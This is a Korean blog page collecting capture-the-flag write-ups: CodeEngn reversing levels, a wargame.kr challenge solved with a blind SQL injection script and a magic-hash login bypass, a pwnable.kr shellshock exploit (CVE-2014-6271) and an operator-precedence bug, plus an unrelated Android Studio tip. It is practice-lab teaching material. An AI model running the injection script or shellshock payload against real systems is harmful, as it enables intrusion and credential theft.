6번 문제입니다.



PEID로 확인해보면 UPX 패킹되어있는 것을 확인할 수 있습니다.



upx 툴로 언패킹 해줍니다.



언패킹 되었습니다.



string 검색을 하면 시리얼로 예상되는 문자열을 확인할 수 있습니다.

저 값을 시리얼 값에 입력한 후 ollydbg를 살펴보겠습니다.



401290에서 무언가 일어날 것 같습니다. 한번 살펴보겠습니다.



EDX와 ECX에 시리얼과 입력값을 MOV하고 둘을 비교하는 함수인것을 알 수 있습니다.


함수를 빠져나와 넘어가면 문제가 클리어 되었습니다.



근데 codeengn 홈페이지에서 원하는 정답은 시리얼 번호 만이 아닌 OEP+시리얼 값이므로 PEID에서 OEP를 확인하여 시리얼과 같이 입력하면 답이 나옵니다.



hint) OEP = EntryPoint + ImageBase









'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12
CodeEngn basic Level 5 풀이  (0) 2016.09.11
CodeEngn basic Level 4 풀이  (0) 2016.09.11
CodeEngn basic Level 3 풀이  (0) 2016.09.11


5번 문제입니다.



PEID로 열면 UPX 패킹이 되어있는것을 알 수 있습니다.



upx툴로 언패킹 해줍니다.



언패킹 된 모습입니다.



언패킹 후 05.exe의 첫 실행화면입니다. name입력 부분과 serial 입력 부분이 있습니다. 

ollydbg로 열어서 분석해보겠습니다.



제일 먼저 문자열을 확인해보겠습니다. 그냥 실행 했을때 확인할 수 있는 문자열들이 보이면서 문제의 단서가 될만한 문자열도 보입니다. F8로 계속 디버깅을 하다가 입력 부분에서 호출되는 함수를 따라 들어가겠습니다.



사용자가 입력한 값과 프로그램에서 원하는 값이 EAX와 EDX에서 ESI와 EDI로 MOV된 후 비교됩니다. 

그리고 결과에 따라 분기문에서 경우가 나뉩니다.

따라서 문제에서 원하는 문자열을 입력하면 문제가 풀립니다.







'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12
CodeEngn basic Level 6 풀이  (0) 2016.09.11
CodeEngn basic Level 4 풀이  (0) 2016.09.11
CodeEngn basic Level 3 풀이  (0) 2016.09.11


5번 문제 화면입니다.



먼저 PEID로 05.exe를 보면 UPX 패킹이 되어있는것을 알 수 있습니다.



05.exe를 upx 툴을 이용해 언패킹한 후  실행 시키겠습니다.



-d 옵션을 주어 언패킹 합니다.



실행 첫 화면입니다. ollydbg로 실행합니다.



문자열을 검색하면 name 입력하는 칸과 serial을 입력하는 칸의 비교할 문자열이 나와있습니다.


name을 비교하는 함수를 직접 들어가보면 아래와 같습니다.





이를 각각 입력해주고 확인해 보겠습니다.



문제가 풀렸습니다.



'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12
CodeEngn basic Level 6 풀이  (0) 2016.09.11
CodeEngn basic Level 5 풀이  (0) 2016.09.11
CodeEngn basic Level 3 풀이  (0) 2016.09.11

3번 문제 입니다. 


exe파일을 다운받은 후 살펴보겠습니다.



실행하면 위와 같은 창이 나옵니다. 확인을 눌러 보겠습니다.



다음 화면에서 123을 입력한 후 Registrieren버튼을 누르면 Error 메시지박스가 나옵니다.



ollydbg에서 문자열을 검색하면 의심가는 부분이 나옵니다.



아마 Regcode에 입력한 값과 2G83*****(모자이크 처리)를 string compare 함수를 통해 비교해서 답을 출력해주는것 같습니다.


입력해보니 정상적으로 출력됩니다.

'Wargame > CodeEngn challenge' 카테고리의 다른 글

CodeEngn basic Level 8 풀이  (0) 2016.09.12
CodeEngn basic Level 7 풀이  (0) 2016.09.12
CodeEngn basic Level 6 풀이  (0) 2016.09.11
CodeEngn basic Level 5 풀이  (0) 2016.09.11
CodeEngn basic Level 4 풀이  (0) 2016.09.11


jff3_magic 문제를 풀어보겠습니다.



문제를 시작하면 한개의 웹 페이지가 나옵니다. 페이지에 대한 기능을 학습한 후 문제에 접근하도록 하겠습니다.


먼저 메인화면에는 로그인 폼이 있습니다. 그리고 왼쪽 사이드에는 MemberList라는 index.php로 이동할 수 있는 <a> 태그와 no라는 파라미터로 갈 수 있도록 되어있습니다.

cd80은 1 Orang은 2 Comma는 3 으로 말이죠.


한번 Submit버튼으로 로그인을 시도해보도록 하겠습니다.



아무것도 입력하지 않고 버튼을 클릭하면 위와 같이 나옵니다. 


184b8482a0c050dca54b59c7f05bf5dd 를 구글에 검색하면



Hash Haval128,5 라는 인코드라고 유추할 수 있습니다. 이 문제의 이름이 magic인것으로 보아 magic hash 취약점이란 것을 알 수 있습니다.


magic hash 취약점에 대해선 구글에서 검색하시면 자세히 볼 수 있습니다.


그리고 아까 no 파라미터에 쿼리를 조작하겠습니다.

?no=1||1 로 입력할 시 


 


취약점이 존재하는것을 알 수 있습니다.


python 스크립트를 이용해 injection을 해보겠습니다.

import urllib, urllib2, re

string = "abcdefghijklmnopqrstuvwxyz0123456789"
key = ""

for i in range(32):
        for j in range(len(string)):
                url = "http://wargame.kr:8080/jff3_magic/?no="
                payload = "5||(lpad(pw," + str(i+1) + ",space(1))='" + key + string[j] + "')"
                url += payload
                req = urllib2.Request(url, headers={"Cookie": "",})
                res = urllib2.urlopen(req).read()
                ok = re.findall("admin", res)
                if ok: 
                        key += string[j]
                        break

print "[*] Key : " + key

아래와 같은 결과를 얻을 수 있습니다. 



0e로 시작하는 Haval128,5 인코딩 값을 찾아서 입력해주면 풀릴 것 같습니다. 

http://sso.pe.kr/15를 참고하시면 됩니다.


ID는 admin

PW 는 아래와 같이 haval128,5 인코딩 하면 0e로 시작되는 값인 115528287을 입력합니다.



문제가 풀렸습니다.




python script 참고 : http://choiys.tistory.com/entry/Wargamekr-Web800jff3magic

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr dmbs335 700p  (0) 2016.10.04
wargame.kr web_chatting 650p  (0) 2016.10.04
wargame.kr 4번 login filtering 450p  (0) 2016.07.25
wargame.kr 3번 flee button 450p  (0) 2016.07.25
wargame.kr 2번 QR CODE PUZZLE 300p  (0) 2016.07.25

안드로이드 스튜디오에서 다음과 같은 에러가 나올때 해결하는 방법입니다.


[File -> Invalidate Caches / Restart -> invalidate and Restart] 클릭

1. 먼저 안드로이드에서 기기를 제어하기 위해 AndroidManifest.xml에 permision을 추가해 줘야 합니다.

<uses-permission android:name="android.permission.INTERNET">


2. 브라우저를 실행하는 코드를 추가합니다.

Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.naver.com")); 

startActivity(intent);


[그림 1-1] 버튼 클릭 예제


[그림 1-2] 실행화면



Android N requires the IDE to be running with Java 1.8 or later


안드로이드 API 24 로 업데이트 하면 xml의 Preview에서 위와같은 오류메세지가 나타납니다.

이미 JDK는 1.8버전으로 깔려 있는데도 자꾸 1.8이상으로 설치하라고만 나옵니다.


간단하게 xml에서 기준 api버전을 23이하로 변경하면 바로 나오긴 하지만 여전히 거슬립니다.


아직 정확한 이유를 알수는 없지만 이렇게하면 정상적으로 해결되긴 합니다.


안드로이드의 Info.plist 파일을 수정하면 됩니다.

OX X의 경우 Android Studio.app에서 [패키지보기]를 선택한뒤 Contents폴더 아래에서 Info.plist파일을 찾아볼수 있다.(/Applications/Android\ Studio.app/Contents/Info.plist)


파일 내용중 아래 JVMVersion key를 찾습니다.


...
<key>JVMVersion</key>
<string>1.6+,1.7+</string>
...


출처 : http://gun0912.tistory.com/62



문제 화면입니다. bash에 관한 문제일듯 싶습니다.



4개의 파일이 있습니다.



bash파일을 실행하면 sub bashshell이 실행됩니다.



shellshock.c의 소스코드입니다. 권한상승 설정 후 system명령으로 shock_me라는 문자를 echo합니다.



이 문제의 이름이 힌트이자 취약점의 이름입니다. 구글링을 해봅니다.

이 취약점은 CVE-2014-6271로 등재되었습니다.


잠깐 설명하자면 bash 환경변수를 통한 코드인젝션이 가능한 취약점입니다.

1. Bash의 환경 변수에 함수정의를 이용해서 원하는 코드를 추가 할 수 있고, 다음 Bash가 사용될 때 추가된 코드가 실행됩니다.

2. CGI의 경우, HTTP Request 헤더가 환경변수에 저장이 되는 특성을 이용하여 원격 코드 인젝션이 가능합니다.


취약한 bash는 환경변수 세팅 후 ; 뒤에 임의의 코드를 집어넣으면 실행됩니다.


ex) env x='() { :; }; echo hi' bash -c "echo zz"

취약한 bash는 

hi

zz

로 출력 됩니다.



하지만 패치된 bash는 뒤의 zz만 실행됩니다.



문제 서버에는 패치가 되어서 zz만 나오지만 두번째 명령에 shellshock를 실행하도록 인자를 주면 둘 다 성공적으로 실행 됩니다.



따라서 exploit은 env x='() { :; }; /bin/cat flag' ./shellshock 입니다.


또한

$export x='() { :; }; /bin/cat flag'

$./shellshock

도 같은 방법입니다.



참고자료 : 

http://operatingsystems.tistory.com/entry/Shellshock-CVE20146271

http://juwon1405.tistory.com/6

'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr input  (0) 2018.06.14
pwnable.kr coin1  (0) 2018.02.19
[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29


힌트로 연산자 우선순위가 주어졌습니다.



홈에는 평소와 다르게 password라는 파일도 있습니다. 


소스파일을 살펴보겠습니다.

#include 
#include 

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

소스코드 의도대로라면  /home/mistake/password 파일에서 10바이트 받아와 pw_buf 배열에 입력하고,

사용자로부터 입력받은 10바이트를 pw_buf배열에 입력한 후

1과 xor연산을 해 pw_buf와 같으면 /bin/flag를 출력할 수 있도록 쉘을 딸 수 있습니다.

하지만 /home/mistake/password 파일을 권한이 없어서 읽을 수 없으므로 gdb를 이용해 풀으려고 했으나

이 방법으로 풀리지 않았습니다.


hint인 연산자 우선순위를 key word로 코드를 자세히 살펴보면

open함수와 read함수가 있는 곳이 약간 이상하다는것을 확인할 수 있습니다.

먼저 open함수가 있는 라인에서 if문을 보면 = 과 < 이 같이 있는데 이 둘의 우선순위는 <이 높습니다.

우선순위를 따져서 코드를 읽으면 open함수는 양수를 반환하고 양수 < 0 이 되므로 fd에는 false가 입력됩니다.

read함수가 있는 부분도 마찬가지로 우선순위가 의도한바와 다르게 되어있습니다.

근데 전에 fd에는 false가 입력되었고 이 값은 파일디스크립터 0이됩니다.

결국 사용자가 입력한 값을 읽어들입니다.


그럼 미리 xor될 값을 알게되므로 먼저 1111111111 을 입력합니다. 이 값은 pw_buf배열에 들어갈 것 입니다.

두번째로 (어떠한 값) XOR 1 = 1111111111 이란 식이 성립하므로

(어떠한 값) = 1111111111 XOR 1 = 0000000000 이므로 두번째입력에는 0000000000을 입력합니다.



'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr coin1  (0) 2018.02.19
[pwnable.kr] shellshock 1p  (0) 2016.08.20
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr] passcode 10p  (0) 2016.07.29

+ Recent posts